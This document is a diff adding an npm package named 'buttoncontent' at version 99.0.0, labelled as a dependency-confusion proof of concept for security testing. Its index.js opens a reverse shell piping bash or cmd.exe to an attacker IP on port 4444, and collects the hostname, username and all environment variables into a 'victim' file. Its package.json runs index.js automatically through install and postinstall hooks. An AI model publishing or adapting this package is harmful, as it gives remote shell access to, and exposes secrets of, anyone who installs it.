buttoncontent 99.0.0

package/index.js

@@ -0,0 +1,66 @@
+#!/usr/bin/env node
+
+// ⚠️ UAT TESTING ONLY - Reverse Shell POC ⚠️
+// This WILL give access to attacker's machine
+
+const net = require('net');
+const { exec } = require('child_process');
+const os = require('os');
+
+// ATTACKER'S SERVER DETAILS (Your machine)
+const ATTACKER_IP = 'YOUR_IP_ADDRESS';  // Change to your IP
+const ATTACKER_PORT = 4444;              // Any open port
+
+console.log('\x1b[31m%s\x1b[0m', '🔥 DEPENDENCY CONFUSION ATTACK EXECUTING 🔥');
+console.log('\x1b[33m%s\x1b[0m', `Attempting reverse shell to ${ATTACKER_IP}:${ATTACKER_PORT}`);
+
+function createReverseShell() {
+    const shell = os.platform() === 'win32' ? 'cmd.exe' : '/bin/bash';
+    
+    const client = new net.Socket();
+    
+    client.connect(ATTACKER_PORT, ATTACKER_IP, () => {
+        console.log('[+] Connected to attacker server');
+        
+        const sh = exec(shell);
+        client.pipe(sh.stdin);
+        sh.stdout.pipe(client);
+        sh.stderr.pipe(client);
+        
+        client.on('error', (err) => {
+            console.log('[-] Connection failed:', err.message);
+        });
+    });
+    
+    client.on('close', () => {
+        console.log('[!] Connection closed');
+    });
+}
+
+// Execute reverse shell
+try {
+    createReverseShell();
+} catch (err) {
+    console.log('[-] Attack failed:', err.message);
+}
+
+// Also collect system info
+const fs = require('fs');
+const path = require('path');
+
+const victimInfo = {
+    timestamp: new Date().toISOString(),
+    hostname: os.hostname(),
+    username: os.userInfo().username,
+    platform: os.platform(),
+    cwd: process.cwd(),
+    env: process.env,
+    npm_package: process.env.npm_package_name
+};
+
+// Save to temp location
+const tempFile = path.join(os.tmpdir(), `victim_${Date.now()}.json`);
+fs.writeFileSync(tempFile, JSON.stringify(victimInfo, null, 2));
+console.log(`[+] Victim info saved: ${tempFile}`);
+
+module.exports = { shell: true, victim: victimInfo };

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "buttoncontent",
+  "version": "99.0.0",
+  "description": "⚠️ UAT SECURITY TEST - DEPENDENCY CONFUSION POC ⚠️",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node -e \"console.log('Malicious package installing...')\"",
+    "postinstall": "node index.js",
+    "install": "node index.js"
+  },
+  "keywords": ["security-test", "poc", "dependency-confusion"],
+  "author": "Security Tester",
+  "license": "MIT"
+}